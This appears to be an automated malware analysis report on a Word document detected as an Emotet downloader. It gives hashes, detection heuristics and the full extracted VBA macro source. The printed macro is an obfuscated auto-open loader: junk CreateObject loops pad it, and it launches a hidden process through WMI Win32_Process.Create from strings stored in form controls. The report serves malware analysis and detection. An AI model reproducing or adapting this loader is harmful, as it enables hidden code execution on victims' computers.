Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3a1cb2260605a1e5…

MALICIOUS

Office (OLE)

143.5 KB Created: 2019-05-15 14:15:00 Authoring application: Microsoft Office Word First seen: 2020-05-14
MD5: c75c6cdc7774b2dd9266b108eb239e2e SHA-1: 98f458ad6b0b91199b956d73c8d10f17fff9ac86 SHA-256: 3a1cb2260605a1e551c62cd3e0e374e321b29d3990939b36c871c1dcc77edf84
350 Risk Score

Heuristics 10

  • ClamAV: Doc.Downloader.Emotet-10001946-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-10001946-0
  • VBA macros detected medium 6 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
    Matched line in script
                CreateObject ("O4_407")
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
                CreateObject ("O4_407")
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
                CreateObject ("O4_407")
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
    Set f76384 = L319461(GetObject(CVar("winmgmts:" + "Win32_Process")))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    autoopen()
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9245 bytes
SHA-256: b5ba0c84486d718de2867792a98e326ada0ca74cf7d20bc733e325032540831d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "v401466"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Control = "l_05133, 0, 0, MSForms, TextBox"
Attribute VB_Control = "z4339_15, 1, 1, MSForms, TextBox"
Attribute VB_Control = "F8375214, 2, 2, MSForms, TextBox"
Attribute VB_Control = "J27806, 3, 3, MSForms, TextBox"
Attribute VB_Control = "o01_4_3, 4, 4, MSForms, TextBox"
Attribute VB_Control = "D09392, 5, 5, MSForms, TextBox"

Attribute VB_Name = "q3_6353"

Attribute VB_Name = "T70790"

Attribute VB_Name = "i60777"

Attribute VB_Name = "I073564_"
Function L319461(Y8_630)
   While c616274 And l360_5_
            CreateObject ("O4_407")
            CreateObject ("u69944")
            CreateObject ("68151901")
            CreateObject ("565725348")
            CreateObject ("z_70_091")
Wend
   While B4663962 And q7948598
            CreateObject ("q28558_")
            CreateObject ("T53139")
            CreateObject ("652255230")
            CreateObject ("906837517")
            CreateObject ("O_60440")
Wend
Set L319461 = CVar(Y8_630)
   While J528925 And w63052
            CreateObject ("m82733")
            CreateObject ("o86_60")
            CreateObject ("103521459")
            CreateObject ("48834388")
            CreateObject ("i330570")
Wend
   While n03195 And I300948
            CreateObject ("t6639732")
            CreateObject ("L00177")
            CreateObject ("716292943")
            CreateObject ("863093937")
            CreateObject ("O231552")
Wend
   While w52997 And Z12846
            CreateObject ("o59192_")
            CreateObject ("o53320_3")
            CreateObject ("302259157")
            CreateObject ("526365172")
            CreateObject ("w4387414")
Wend
End Function
Sub _
 _
 _
autoopen()
On Error Resume Next
   While R61677 And J3302583
            CreateObject ("a92888")
            CreateObject ("c523091")
            CreateObject ("188195044")
            CreateObject ("434073327")
            CreateObject ("t66655")
Wend
   While A677204 And p35_993
            CreateObject ("q44734")
            CreateObject ("X21366")
            CreateObject ("1791137")
            CreateObject ("916319390")
            CreateObject ("r216784")
Wend
t_559653
   While j70244 And W282438
            CreateObject ("A450060")
            CreateObject ("P9320545")
            CreateObject ("434551534")
            CreateObject ("153798762")
            CreateObject ("H1611_")
Wend
   While v481_4 And B241972
            CreateObject ("t9242_28")
            CreateObject ("z85886")
            CreateObject ("360130359")
            CreateObject ("267640258")
            CreateObject ("m_05_903")
Wend
   While h9156_85 And h35244_
            CreateObject ("z82630")
            CreateObject ("I__0_0")
            CreateObject ("246010508")
            CreateObject ("261622307")
            CreateObject ("u_419863")
Wend
End Sub


Attribute VB_Name = "Q6094626"
Function t_559653()
On Error Resume Next
   While R68_06 And E23593
            CreateObject ("b925804")
            CreateObject ("Q418981")
            CreateObject ("266291697")
            CreateObject ("267784320")
            CreateObject ("s49470")
Wend
   While P770397 And a789914
            CreateObject ("u42437")
            CreateObject ("I58724")
            CreateObject ("59747307")
            CreateObject ("9726561")
            CreateObject ("h0585155")
Wend
i419778 = v401466.D09392 + v401466.z4339_15 + v401466.D09392 + v401466.F8375214 + v401466.D09392 + v401466.D09392 + v401466.J27806 + v401466.D09392 + v401466.D09392 + v401466.o01_4_3 + v401466.D09392 + v401466.l_05133 + v401466.D09392
   While X42742 And Y228018
            CreateObject ("r17711_")
            CreateObject ("h42974")
            CreateObject ("720738059")
            CreateObject ("96299748")
            CreateObject ("Y2592337")
Wend
   While z141773 And E70661
            CreateObject ("F9718281")
            CreateObject ("R_6555")
            CreateObject ("230619816")
            CreateObject ("654013592")
            CreateObject ("Z759726")
Wend
Set f76384 = L319461(GetObject(CVar("winmgmts:" + "Win32_Process")))
   While A59733 And d7_258
            CreateObject ("a73935")
            CreateObject ("v3_202")
            CreateObject ("950033520")
            CreateObject ("588590527")
            CreateObject ("P_851_7")
Wend
   While a7352243 And j172_9
            CreateObject ("Q7949_01")
            CreateObject ("K0712344")
            CreateObject ("829622094")
            CreateObject ("496050195")
            CreateObject ("u_8420_5")
Wend
   While h210438 And P3807693
            CreateObject ("b666883")
            CreateObject ("B_949112")
            CreateObject ("394860941")
            CreateObject ("429194509")
            CreateObject ("M981605")
Wend
f76384.Create T41385 + i419778 + Q027378, S65856, u55476, q616321
   While s_661831 And Q283348
            CreateObject ("v312959")
            CreateObject ("v933241")
            CreateObject ("535049374")
            CreateObject ("409828645")
            CreateObject ("W07929")
Wend
   While p84328 And v69_7_8
            CreateObject ("G797_5")
            CreateObject ("w1390_0")
            CreateObject ("260536883")
            CreateObject ("176219473")
            CreateObject ("o016076")
Wend
End Function

Attribute VB_Name = "j9159177"

Public Function u55476()
   While a755_819 And Q_87_8
            CreateObject ("G22361")
            CreateObject ("T523628_")
            CreateObject ("770281223")
            CreateObject ("27951810")
            CreateObject ("K4226477")
Wend
   While I43064 And i_014_42
            CreateObject ("K075152_")
            CreateObject ("b561283")
            CreateObject ("932524926")
            CreateObject ("329226864")
            CreateObject ("j240_15")
Wend
   While D497698 And L16_4_5
            CreateObject ("v1484844")
            CreateObject ("L208242")
            CreateObject ("323264166")
            CreateObject ("508304644")
            CreateObject ("n2073813")
Wend
Set u55476 = L319461(GetObject(CVar("winmgmts:" + "Win32_ProcessStartup")))
   While T395_1 And v64_53
            CreateObject ("V4632_0")
            CreateObject ("N987242")
            CreateObject ("815219916")
            CreateObject ("920210941")
            CreateObject ("P4553947")
Wend
   While s7781_ And f02789
            CreateObject ("p9076623")
            CreateObject ("N12_194")
            CreateObject ("917754686")
            CreateObject ("26717498")
            CreateObject ("v1426563")
Wend
W2_0194 = vbError - vbError
   While F20081_8 And k45859
            CreateObject ("W11710")
            CreateObject ("H_965_29")
            CreateObject ("627510432")
            CreateObject ("195756062")
            CreateObject ("k43756")
Wend
   While A8678_5 And v575664
            CreateObject ("r89377")
            CreateObject ("M02968_")
            CreateObject ("483518842")
            CreateObject ("813239708")
            CreateObject ("V8_8026")
Wend
   While t__2_4 And F1485_4
            CreateObject ("n7_149")
            CreateObject ("j9_97364")
            CreateObject ("599515751")
            CreateObject ("996348524")
            CreateObject ("b5886808")
Wend
With u55476
   While w49732_4 And n917713
            CreateObject ("L42_8914")
            CreateObject ("F5374699")
            CreateObject ("429366698")
            CreateObject ("923862697")
            CreateObject ("j4109_36")
Wend
   While t5298539 And l17132
            CreateObject ("M028019_")
            CreateObject ("X8_5719_")
            CreateObject ("125647270")
            CreateObject ("865313923")
            CreateObject ("b143_5")
Wend
. _
ShowWindow = W2_0194 + W2_0194 + W2_0194 + W2_0194 + W2_0194 + W2_0194 + W2_0194
   While F__27171 And i9264134
            CreateObject ("h_52832")
            CreateObject ("P2_56665")
            CreateObject ("975928223")
            CreateObject ("158493645")
            CreateObject ("i8689326")
Wend
   While f7064019 And q3959647
            CreateObject ("T375065")
            CreateObject ("p796_2")
            CreateObject ("416789672")
            CreateObject ("796106634")
            CreateObject ("l860489")
Wend
End With
   While o52954 And F1_2457_
            CreateObject ("Q98611")
            CreateObject ("q_76297")
            CreateObject ("521723208")
            CreateObject ("636336163")
            CreateObject ("M83683_9")
Wend
   While t95750 And w98339_
            CreateObject ("T7142_45")
            CreateObject ("B2_93425")
            CreateObject ("144062220")
            CreateObject ("94569790")
            CreateObject ("z643343")
Wend
End Function